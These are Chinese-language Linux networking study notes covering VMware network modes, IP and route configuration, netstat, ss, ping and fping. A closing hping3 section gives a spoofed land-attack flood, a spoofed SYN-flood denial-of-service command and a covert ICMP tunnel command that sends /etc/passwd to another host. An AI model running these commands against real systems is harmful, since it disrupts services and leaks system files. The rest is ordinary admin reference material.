网络管理


目录:

网络管理

1、Vmware三种网络模型:

3种模式

桥接模式:默认使用虚拟网卡【vmnet 0】

NAT模式:vmnet8

仅主机模式:vmnet1

image-20220622151757534

参考博客:https://www.cnblogs.com/aguai1992/p/4807837.html

安装完虚拟机后,默认安装了两个虚拟网卡,VMnet1和VMnet8,其他的未安装(当然也可以手动安装其他的)。

其中VMnet1是host网卡,用于host方式连接网络的VMnet8是NAT网卡,用于NAT方式连接网络的。它们的IP地址是随机生成的,如果要用虚拟机做实验的话,最好将VMnet1到VMnet8的IP地址改掉。

习惯上把VMware虚拟网卡使用的网段\"固定\",使用如下原则:VMnet1对应的网段是192.168.10.0,VMnet2对应的网段是192.168.20.0,其他的类似。当然平常只是随便用用的就不用改了,能上网就行了。

VMware网络连接的方式主要有:桥接(Bridged)、NAT、主机网络(Host-Only)

1. Use bridged networking(使用桥接网络)

说明:使用VMnet0虚拟交换机,此时虚拟机相当与网络上的一台独立计算机与主机一样,拥有一个独立的IP地址,其网络拓扑如图1所示,使用桥接方式,A,A1,A2,B可互访。

image-20220622151910725

​ 图1 桥接方式拓扑示意

2. Use network address translation(NAT)

说明:使用Vmnet8虚拟交换机,此时虚拟机可以通过主机单向网络上的其他工作站,其他工作站不能访问虚拟机。其网络拓扑如图2所示,使用NAT方式,A1,A2可以访问B,但B不可以访问A1,A2。但A,A1,A2可以互访。

image-20220622151952292

​ 图2 NAT方式拓扑示意

3. Use Host-Only networking(使用主机网络)

说明:使用Vmnet1虚拟交换机,此时虚拟机只能与虚拟机、主机互访。也就是不能上Internet,其网络拓扑如图3所示,使用Host方式,A,A1,A2可以互访,但A1,A2不能访问B,也不能被B访问。

image-20220622152007689

​ 图3 主机网络方式拓扑示意

实际应用:现在最普遍使用的是宽带,使用桥接方式,主机必然可以上网,但是虚拟机上的操作系统是不可以上网的。此时你的主机就相当于A,而虚拟机就相当于A1,除非你再向运营商(如电信,网通)申请个IP地址,显然这是不可取的。如果你有路由器的话,那么就可以使用桥接方式上网,因为此时你申请的IP地址是写在了路由器上,而不是你的机器上,这样包括你的主机,虚拟机,也包括连在路由器上的其他人的机器,都将可以上网,使用着由路由器自动分配的IP地址,IP地址一般是192.168.0.XXX。貌似运营商不太乐意你使用路由器,说什么对他们交换机的接口有损害。当然,只要你的主机可以上网,使用NAT方式,虚拟机总是可以上网(当然不包括在你胡乱改写IP,网关,DNS等信息的情况下)。

实例手动设置:假设主机的VMnet1使用网段地址为192.168.10.0,VMnet8使用网段地址为192.168.80.0,网关地址为192.168.80.254(也就是NAT路由器地址,可自己设置,在VMnet8上),主机网卡使用地址为192.168.1.1。

一、使用桥接方式,虚拟机A1的IP地址可以设置成192.168.1.5(与主机网卡地址同网段的即可),其他的诸如网关地址,DNS,子网掩码均与主机的相同。

二、使用NAT方式,虚拟机A1的IP地址可以设置成192.168.80.5(与VMnet8使用相同的网段),网关是NAT路由器地址,即192.168.80.524

三、使用host-only方式,虚拟机A1的IP地址可以设置成192.168.10.5(与VMnet1使用相同的网段)

说明:一般用户不需要自己手动设置,选择自动获取,或开启DHCP服务即可

虚拟机上面网卡起不来的解决

image-20220622152050024

2、启动网络服务:service NetworkManage start (6版本)

网卡类型:dmesg | grep -i ens33  或者lspci | grep -i net

查看网卡是否加载的:lsmod | grep e1000  (网卡型号:e1000)

加载网卡模块:modprobe eth100

如果想开开机自动加载modprobe模块:该文件在cd /etc/modprobe.d/ 这里面。 vim aaa.conf 文件编辑就可以自动加载。命令例如:(alias 网卡名 模块名)

无线网络查看:iwconfig  这个需要有网卡才能查看的到

3、查看IP地址信息:

ifconfig -a
ip addr show ens33
ip addr (显示当前激活的网卡状态信息)
ip link (查看端口连接状态)
ip addr flush dev eth0  (刷新ip地址信息)
Notice:刷新后IP地址将被取消[包括:/etc/sysconfig/network-scriipts]
[root@CentOS6 tmp]# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:D1:23:78  
          inet addr:192.168.164.129  Bcast:192.168.164.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fed1:2378/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13531 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5871 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1085384 (1.0 MiB)  TX bytes:1376101 (1.3 MiB)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

ifconfig可以查看的是从连上网开始的流量总和,cat /proc/net/dev记录的值也是总流量,那么可以计算一下,实时流量=当前流量-上一秒的流量

4、修改IP地址 (3种)

1、静态IP地址指定: (6种)

A、ifcfg系列
    Grammar:ifconfig NETCARD    IP  NETMASK
1. # ifconfig eth0 192.168.200.200/24       (设置IP地址)
2. # ifconfig eth0 192.168.200.200 up
说明:这种方法也是可以的,它会自动添加子网掩码
3. # ifconfig eth0:1 192.168.211.100.10/24 up(这个也叫设置别名,Notice格式是设备名:1-n,如果要永久使用,可以写入配置文件)
                        以上3种较常用

4. # ifconfig ens33:1 192.168.10.10 255.255.255.0 
SIOCSIFADDR: 无效的参数
说明:这里虽然显示无效参数,但是这个事没有错的,我们用ifconfig查询时有IP的。
5. # ip addr add 192.168.217.100/24 dev ens33 label ens33:1
6. # ifconfig eth0:3 192.168.217.10 netmask 255.255.255.0 up
-----------------------------------------------------------------------------------------
Notice:
1、以上3、4、5、6,是以别名的方式添加ip;只能在当前有效,重启网络过后,ip又回到之前的那个ip
2、如果需要永久生效,写入配置文件,重启网络服务,就立即生效。

2、界面修改IP:(永久生效)

7版本界面修改IP:nmtui

6版本界面修改IP:setup

说明:这个是永久生效

3、配置文件修改IP信息 (修改后重启永久生效)

# vim /etc/sysconfig/network-scripts/ifcfg-eth0:查看网卡配置文件,并修改。

DEVICE=eth0 (设备名称)
HWADDR=00:0C:29:93:53:69    (MAC地址)
TYPE=Ethernet           (接口类型,以太网)
UUID=15cdfcc0-33f7-4bf9-bb7c-58e9f21226c3   (设备的全局标示符,用于内核所标示的代码UUID)
ONBOOT=yes  (在系统引导过程中,是否激活此接口)
NM_CONTROLLED=yes       (可以使用NetworkMangager来管理网络)
#BOOTPROTO=dhcp (激活此接口使用什么协议,常有选择dhcp、static、none)
BOOTPROTO=static    (静态获取)
IPADDR=         (指定IP地址)
NETMASK=            (指定子网掩码)
GATEWAY=            (指定网关)
DNS1=               (第一个DNS服务器指向。指向这个文件/etc/resolv.conf)
DNS2=               (第二个DNS服务器指向)
DNS3=               (第三个DNS服务器指向)
DOMAIN=         (定义域名)

DEVICE=eth0:1 (设备别名)
BOOTPROTO=static    (静态获取)
IPADDR=         (指定IP地址)
NETMASK=            (指定子网掩码)

说明:

1、如果ip是dhcp,可以自动获取:

可以敲命令自动搜索一些ip: dhclient ens33 (这个命令好像不行)

2、以上配置文件完成后,必须重启网卡,否则不会生效

3、DNS服务器指向最多3个

4、前面名称必须是大写

5、设置别名的时候,如果起来,检查一下etc/sysconfig/network-scripts/这里面的网卡文件是不是有其他的或者是错误的,如果有将其删除,然后在重启

5、禁用或启用网卡:

禁用网卡:(3种),实际中千万不要禁用网卡(特殊情况除外)

ifconfig 网卡名 down ifconfig eth0 down

敲了这个命令,不能远程重启网络,禁用

ip link set ens33 down ifconfig link set eth0 down

敲了这个命令也一样,无法远程连接了

service network stop

这个是停止网络服务了

启用网卡:(3种)

ifconfig 网卡名 up ifconfig eth0 up

或者:

service network restart (6版本)这个重启过后,可以远程连接

systemctl restart network.service(7版本)

或者:

/etc/init.d/network restart

说明:( ifdown 网卡名 或者 ifup 网卡名这个相当于等于网络重启service network restart,重启过后服务器是没有ip了,是无法远程连接到服务器端的)

  • 克隆机需要注释UUID和MAC才能启动网卡

6、修改MTU的大小

最大传输单元(Maximum Transmission Unit,MTU)是指一种通信协议的某一层上面所能通过的最大数据报大小(以字节为单位)。最大传输单元这个参数通常与通信接口有关(网络接口卡、串口等)。

ifconfig eth0 mtu 1500 修改MTU的大小,将1500改为你想要的MTU

7、修改MAC地址

ifconfig eth0 hw ether MACADDR 修改Linux中的MAC地址

8、网卡重命名:

ip link set eth0 name xxxx(好像不对.........)

(重启计算机过后又回到了eth0)

如果想一直使用这个名字可以在这里面看:

vim /etc/udev/rules.d/70-persistent-net.rules

9、route -->路由

route命令用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。

在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要Notice的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;

可以在/etc/rc.local中添加route命令来保证该路由设置永久有效。

Centos需要加执行权限:chmod +x /etc/rc.d/rc.local

Grammar

route(Option)(参数)
Usage: route [-nNvee] [-FC] [<AF>]           List kernel routing tables
       route [-v] [-FC] {add|del|flush} ...  Modify routing table for AF.
       route {-h|--help} [<AF>]              Detailed usage syntax for specified AF.
       route {-V|--version}                  Display version/author and exit.

Option

-n:不执行DNS反向查找,直接显示数字形式的IP地址;

-C:打印将Linux核心的路由缓存;

-A family:设置地址类型(ipv4或者ipv6)

-F:启用本地server的FIB

-v:详细信息模式;

-e:netstat格式显示路由表;

-net:到一个网络的路由表;

-host:到一个主机的路由表。

参数

add:增加指定的路由记录;

del:删除指定的路由记录;

gw:设置默认网关;

target:目的网络或目的主机;

window:指定通过路由表的TCP连接的TCP窗口大小;

mss:设置TCP的最大区块长度(MSS),单位MB;

dev IF:指定从哪个接口出去。

Living Example

显示当前路由:

[root@test-6 ~]# route –n               (加-n不解析ip地址)
Kernel IP routing table
Destination     Gateway         Genmask       Flags  Metric  Ref    Use  Iface
192.168.211.0   0.0.0.0          255.255.255.0   U     1       0      0   eth0
0.0.0.0         192.168.211.2    0.0.0.0         UG    0       0      0   eth0

其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:

  • U Up表示此路由当前为启动状态。

  • G Gateway,表示此网关为一路由器。

  • H Host,表示此网关为一主机。

  • R Reinstate Route,使用动态路由重新初始化的路由。

  • D Dynamically,此路由是动态性地写入。

  • M Modified,此路由是由路由守护程序或导向器动态修改。

  • ! 表示此路由当前为关闭状态。

添加路由:

route add|del [-host|-net] IP地址 netmask [子网掩码] gw [网关] [dev 网卡名]

image-20220622153844552**

1、route add -host 192.168.211.0 gw 192.168.211.2  #增加一条到达192.168.211.0网段的路由;网关是192.168.122.2    
2、route add -net 192.168.55.0 netmask 255.255.255.0 gw 192.168.211.2 dev ens33

删除路由记录:

route del -net 192.168.211.0 netmask 255.255.255.0 gw 192.168.211.2 dev eth0

屏蔽一条路由:

route add -net 224.0.0.0 netmask 240.0.0.0 [reject](http://man.linuxde.net/reject) #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。

---------------------------------------------------------------------------------------------------------------------------------

添加设置默认网关:

1、默认网关配置:
[root@test-6 ~]# route add default gw 192.168.217.1   
2、或者这样也可以添加网关:
[root@test-6 ~]# route add 0.0.0.0 gw 192.168.211.254
或者指明给哪张网卡配置网关:
[root@test-6 ~]# route add default gw 192.168.217.1 dev ens33 

删除设置默认网关:

route del default gw 192.168.217.3

(重点:网关必须和ip同一网段,不然会报错)

10、netstat-->用来打印Linux中网络系统的状态信息

netstat命令用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。

netstat -nutlp (n:不做反向解析)

例如还可以:netstat -nutlp | grep :22 (表示查看22端口的连接信息)

image-20220622154205966

Grammar

netstat (Option)

Option

-n或--numeric:直接使用ip地址,而不通过域名服务器;

-u或--udp:仅显示UDP传输协议的连线状况;

-t或--tcp:仅显示TCP传输协议的连线状况;

-l或--listening:仅列出有在 Listen (监听) 的服务状态;显示监控中的服务器的Socket;

-p或--programs:显示正在使用Socket的程序识别码和程序名称(PID和项目名称);

-a或--all:显示所有连线中的Socket;

-g或--groups:显示多重广播功能群组组员名单;

-i或--interfaces:显示网络界面信息表单;

-r或--route:显示Routing Table;

-v或--verbose:显示指令执行过程;

-V或--version:显示版本信息;

-w或--raw:显示RAW传输协议的连线状况;

-x或--unix:此参数的效果和指定\"-A unix\"参数相同;

--ip或--inet:此参数的效果和指定\"-A inet\"参数相同。

-s或--statistice:显示网络工作信息统计表;

-o或--timers:显示计时器;

-N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称;

-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;

-c或--continuous:持续列出网络状态;

-C或--cache:显示路由器配置的快取信息;

-e或--extend:显示网络其他相关信息;

-F或--fib:显示FIB;

-h或--help:在线帮助;

-M或--masquerade:显示伪装的网络连线;

Living Example

列出所有端口 (包括监听和未监听的)

netstat -a     #列出所有端口
netstat -at    #列出所有tcp端口
netstat -au    #列出所有udp端口      

列出所有处于监听状态的 Sockets

netstat -l        #只显示监听端口
netstat -lt       #只列出所有监听 tcp 端口
netstat -lu       #只列出所有监听 udp 端口
netstat -lx       #只列出所有监听 UNIX 端口

显示每个协议的统计信息

netstat -s   #显示所有端口的统计信息
netstat -st   #显示TCP端口的统计信息
netstat -su   #显示UDP端口的统计信息

在netstat输出中显示 PID 和进程名称

netstat -pt
netstat -p   #可以与其它开关一起使用,就可以添加“PID/进程名称”到netstat输出中,这样debugging的时候可以很方便的发现特定端口运行的程序。

在netstat输出中不显示主机,端口和用户名(host, port or user)

#当你不想让主机,端口和用户名显示,使用netstat -n。将会使用数字代替那些名称。同样可以加速输出,因为不用进行比对查询。
netstat -an

如果只是不想让这三个名称中的一个被显示,使用以下命令:

netstat -a --numeric-ports
netsat -a --numeric-hosts
netsat -a --numeric-users

持续输出netstat信息

netstat -c   #每隔一秒输出网络信息

显示系统不支持的地址族(Address Families)

netstat --verbose
在输出的末尾,会有如下的信息:
netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
netstat: no support for `AF NETROM' on this system.

显示核心路由信息

#使用netstat -rn显示数字格式,不查询主机名称。
netstat -r

找出程序运行的端口

#并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。
netstat -ap | grep ssh

找出运行在指定端口的进程:

netstat -an | grep ':80'

显示网络接口列表

netstat -i
# 显示详细信息,像是ifconfig使用netstat -ie

IP和TCP分析

#查看连接某服务端口最多的的IP地址:
netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr

TCP各种状态列表:

netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}'

查看php_cgi进程数,如果接近预设值,说明不够用,需要增加:

netstat -anpo | grep "php-cgi" | wc -l

查看80端口

netstat -ntulp | grep :80

11、ss -->用来显示处于活动状态的套接字信息

ss命令用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接cat /proc/net/tcp,执行速度都会很慢。可能你不会有切身的感受,但请相信我,当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间。天下武功唯快不破。ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中第一手的信息,这就确保了ss的快捷高效。当然,如果你的系统中没有tcp_diag,ss也可以正常运行,只是效率会变得稍慢。

ss 是 Socket Statistics 的缩写,用来统计 socket 连接的相关信息,它跟netstat 差不多,但有着比 netstat更强大的统计功能,能够显示更多更详细的连接信息。

刚开始接触 ss 命令可能会比较困难,我们可通过 ss -h 或者 ss -help 来详细学习 ss 的选项功能。当然,最好的办法是直接尝试一些常用的命令来学习ss 。

安装包:

# rpm -qf `which ss`
iproute-4.11.0-14.el7.x86_64

Grammar

ss (Option)

Option

-s:查看统计结果的总信息,使用命令 ss -s

-t:只显示tcp套接字;

-u:只显示udp套接字;

-a:显示所有监听或非监听的状态信息;

-n:不解析服务名称,以数字方式显示;

-l: 只显示处于监听状态的套接字;

-p:显示使用套接字的进程信息;

+-----------------------------------------------------------------------+ | > 常用Option组合:ss -tanlp | | > | | > ss -uanlp | | > | | > ss -s | +-----------------------------------------------------------------------+

-h:显示帮助信息;

-V:显示指令版本信息;

-r:以数字形式描述数据包发送的过程

-o:显示计时器信息;

-4:只显示ipv4的套接字;

-6:只显示ipv6的套接字;

-e:显示详细的socket信息;

-m:显示套接字的内存使用情况;

-i:显示内部的TCP信息;

-d:只显示DCCP套接字;

-w:仅显示RAW套接字;

-x:仅显示UNIX域套接字。

Living Example

显示ICP连接

[root@test-6 ~]# ss -tan
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
LISTEN     0      128               127.0.0.1:631                      *:*
………………………………………………………………………………………………
ESTAB      0      0           192.168.211.141:22           192.168.211.2:58571

显示 Sockets 摘要

[root@test-6 ~]# ss -s
Total: 886 (kernel 890)
TCP:   15 (estab 3, closed 0, orphaned 0, synrecv 0, timewait 0/0), ports 7

Transport Total     IP        IPv6
*         890       -         -
RAW       0         0         0
UDP       8         5         3
TCP       15        9         6
INET      23        14        9
FRAG      0         0         0

列出当前的established, closed, orphaned and waiting TCP sockets

列出所有打开的网络连接端口

[root@test-6 ~]# ss -l

查看进程使用的socket

[root@localhost ~]# ss -pl

找出打开套接字/端口应用程序

[root@localhost ~]# ss -pl | grep 3306

显示所有UDP Sockets

[root@localhost ~]# ss -u -a
ss -s #是一个非常有用的命令。它可以按网络传输类型显示总体统计信息,我们不妨来测试一下

Total: 476 (kernel 692)
TCP:   123 (estab 73, closed 28, orphaned 0, synrecv 0, timewait 0/0), ports 0

Transport Total     IP        IPv6
*     692       -         -        
RAW   1         0         1        
UDP   3         1         2        
TCP   95        83        12       
INET      99        84        15       
FRAG      0         0         0        

参数解释:
RAW Socket 原始套接字。允许直接发送和接收 IP 数据包,无需满足特定的传输协议,用于 namp 等安全应用。
TCP 传输控制协议。是我们网络连接当中的主要连接协议。
UDP 用户数据报协议。类似于 TCP 但没有错误检查。
INET 包含上述项。( INET4  INET6 可以通过一些 ss 命令单独查看)。
FRAG 可以理解为碎片的意思。

显然,上面的输出结果并没有直接显示详细的 socket 连接情况,我们可以看到最上面的 Total 行显示的 socket 总数是非常多的,不过,这种分类统计的方式在某些情况下很有用。
如果想要查看具体的 socket 活动信息,我们可以使用 ss -a 命令,但是我们要做好心理准备查看一大堆的信息,我们可以先用 wc -l 来统计一下行数试探一波:
$ ss -a | wc -l
330

有木有被吓到?330 行数据!
不过不必惊慌,我们可以查看指定类别的 socket 活动
ss     显示所有已经建立的 socket 连接
ss -ta 转储所有 TCP socket

ss -ua 转储所有 UDP socket

ss -wa 转储所有 RAW socket

ss -xa 转储所有 UNIX socket

ss -4a 转储所有 IPV4 socket

ss -6a 转储所有 IPV6 socket
ss -t   要查看刚建立的 TCP 连接
ss -lt  要仅显示监听 socket
ss -ltn 想要显示端口号而不是服务名


提供一些小技巧,你可以将那些最有用的选项转换为别名,能让你更容易使用。例如:
$ alias listen="ss -lt"
$ alias socksum="ss -s"

12、ping或者hping3或者traceorute-->检查网络是否互通

ping -c 1 ip/网址

-c:指明ping多少次(Linux,不指定次数是永久ping下去;windows是4次)

-a:监听ping包

-i:发送ping包的间隔

-I:从哪个接口发送ping包

-W:超时时间

-R 记录路由过程

ping g.cn (这是谷歌的一个域名)

image-20220622155705531

image-20220622155710568

[实例:ping不通的解决方法]

image-20220622155741082

1 首先 添加dns服务器

vi /etc/resolv.conf
在文件中添加如下两行:
nameserver 8.8.8.8
保存退出。之后再ping 一次试一试

如果没有解决 继续:
2 设置一个文件:
vi /etc/sysconfig/network-scprits/ifcfg-ens33  (这个文件名称 可能会不同,我的是ens33 有的好像是ens 加上其他数字) 
在文件中 找到 ONBOOT=NO 改成 ONBOOT=yes
保存退出
重启网络: service network restart


Linux禁止ping以及开启ping的方法:

Linux默认是允许Ping响应的,系统是否允许Ping由2个因素决定的:A、内核参数,B、防火墙,需要2个因素同时允许才能允许Ping,2个因素有任意一个禁Ping就无法Ping。

#具体的配置方法如下:

 A、内核参数设置

    1、允许PING设置

        A.临时允许PING操作的命令为:# echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_all

        B.永久允许PING配置方法。

              /etc/sysctl.conf 中增加一行

              net.ipv4.icmp_echo_ignore_all=0

          如果已经有net.ipv4.icmp_echo_ignore_all这一行了,直接修改=号后面的值即可的(0表示允许,1表示禁止)。

          修改完成后执行sysctl -p使新配置生效。


    2、禁止Ping设置     

        A.临时禁止PING的命令为:#echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all     

        B.永久允许PING配置方法。

               /etc/sysctl.conf 文件中增加一行

             net.ipv4.icmp_echo_ignore_all=0

         如果已经有net.ipv4.icmp_echo_ignore_all这一行了,直接修改=号后面的值即可的。(0表示允许,1表示禁止)

         修改完成后执行sysctl -p使新配置生效。

 B、防火墙设置(注:此处的方法的前提是内核配置是默认值,也就是没有禁止Ping)

     这里以Iptables防火墙为例,其他防火墙操作方法可参考防火墙的官方文档。

    1、允许PING设置      

        iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT

        iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT

        或者也可以临时停止防火墙操作的。

        service iptables stop


    2、禁止PING设置

        iptables -A INPUT -p icmp --icmp-type 8 -s 0/0 -j DROP

fping检测主机是否存在

fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping的主机数量范围。

语法

fping (选项) (参数)

选项

-a 显示存活的主机

-b ping 数据包的大小。(默认为56)

-c ping每个目标的次数 (默认为1)

-g 通过指定开始和结束地址来生成目标列表,可以使网段

-f 从文件获取目标列表(不能与 -g 同时使用)

-l 循环发送ping

-u 显示不可到达的目标

实例

安装fping命令:

# 先安装epel源:
yum install epel* -y
# 安装fping包:
yum install fping -y

选择性ping指定ip:
~]# fping 192.168.0.1 192.168.0.125 192.168.0.126 2>/dev/null
192.168.0.1 is alive
192.168.0.125 is alive
192.168.0.126 is unreachable

ping整个网段:
~]# fping -g 192.168.0.0/24 2>/dev/null
192.168.0.1 is alive
192.168.0.103 is alive
...
192.168.0.253 is unreachable
192.168.0.254 is unreachable

ping整个网段,只显示存活的主机:
~]# fping -ag 192.168.0.0/24 2>/dev/null
192.168.0.1
192.168.0.103
...

ping某一段ip:
~]# fping -ag 192.168.0.5 192.168.0.130 2>/dev/null
192.168.0.103
...
192.168.0.125
192.168.0.130

hping

参考:https://www.infvie.com/ops-notes/hping.html

hping3:测试网络及主机的安全

hping 是用于生成和解析TCP IP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

# 安装
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install

选项

-H --help 显示帮助。

-v -VERSION 版本信息。

-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。

-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast每秒发10个数据包。

-n -nmeric 数字输出,象征性输出主机地址。

-q -quiet 退出。

-I --interface interface name 无非就是eth0之类的参数。

-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0

-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)

-z --bind 快捷键的使用。

-Z --unbind 消除快捷键。

-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。

-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE 
--ICMPCODE选项发送其他类型/模式的ICMP报文。

-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。

-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。

-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。

-t --ttl time to live 可以指定发出包的TTL值。

-H --ipproto 在RAW IP模式里选择IP协议。

-w --WINID UNIX,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。

-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。

-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的"virtualmtu"是16字节。

-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。

-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。

-G --fragoff fragment offset value set the fragment offset

-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。

-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。

-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。

-K --ICMPCODE CODE 指定ICMP代号,缺省0。

--icmp-ipver 把IP版本也插入IP头。

--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。

--icmp-iplen 设置IP包长度。

--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。

--icmp-ipproto 设置协议的,缺省是TCP。

-icmp-cksum 设置校验和。

-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)

--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)

-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。

-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。

--keep 上面说过了。

-w --win 发的大小和windows一样大,64BYTE。

-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen /4.

-m --tcpseq 设置TCP序列数。

-l --tcpck 设置TCP ack。

-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。

Hping3功能Hping3主要有以下典型功能应用:

# 防火墙测试
使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。
hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

# 端口扫描
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
hping3 -I eth0  -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。

hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

# Idle扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

# 拒绝服务攻击
使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻击如smurf、teardrop、land attack等也很容易构建出来。

# 文件传输
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

hping3 192.168.1.159 --listen signature --safe  --icmp
监听ICMP包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件:
hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd
